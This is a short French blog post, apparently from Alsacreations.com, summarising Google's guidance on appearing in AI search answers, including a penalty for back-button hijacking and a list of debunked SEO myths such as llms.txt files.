Les réponses générées par l'IA de Google s'appuient sur le même index de recherche qu'avant : si vous n'êtes pas indexé, vous n'existez pas pour l'IA non plus.

On attend toujours un contenu de qualité, une structure technique propre, une bonne expérience utilisateur. À ce sujet Google a également confirmé il y a quelques jours qu'il pénaliserait les sites modifiant le comportement du bouton retour du navigateur, notamment pour "faire rester" les humains sur un site dans un piège infini grâce aux méthodes history.pushState et history.replaceState.

Ce qui est intéressant, c'est la section mythbusting où Google démonte quelques idées qui circulent en ce moment... Les rumeurs et fausses astuces circulent encore plus vite qu'avant.

  • Les fichiers llms.txt : inutiles pour Google. Le fichier n'a aucun effet particulier sur le traitement de votre site.
  • Découper le contenu en petits morceaux : pas nécessaire, les systèmes comprennent des pages avec plusieurs sujets.
  • Réécrire ses textes pour l'IA : inutile également. Les systèmes comprennent le sens général, pas besoin de cibler chaque variante de requête imaginable.
  • Les données structurées : toujours utiles pour les résultats enrichis classiques, mais pas requises pour apparaître dans les réponses IA.

La seule vraie nuance apportée concerne le contenu "non générique" : avoir un vrai point de vue, une expérience personnelle, une analyse qui va au-delà du consensus. Dans un monde où produire du contenu banal est à la portée de n'importe quel outil ou LLM quelconque, ce qui a de la valeur c'est ce que vous seul pouvez apporter.

Publié par Alsacreations.com

❌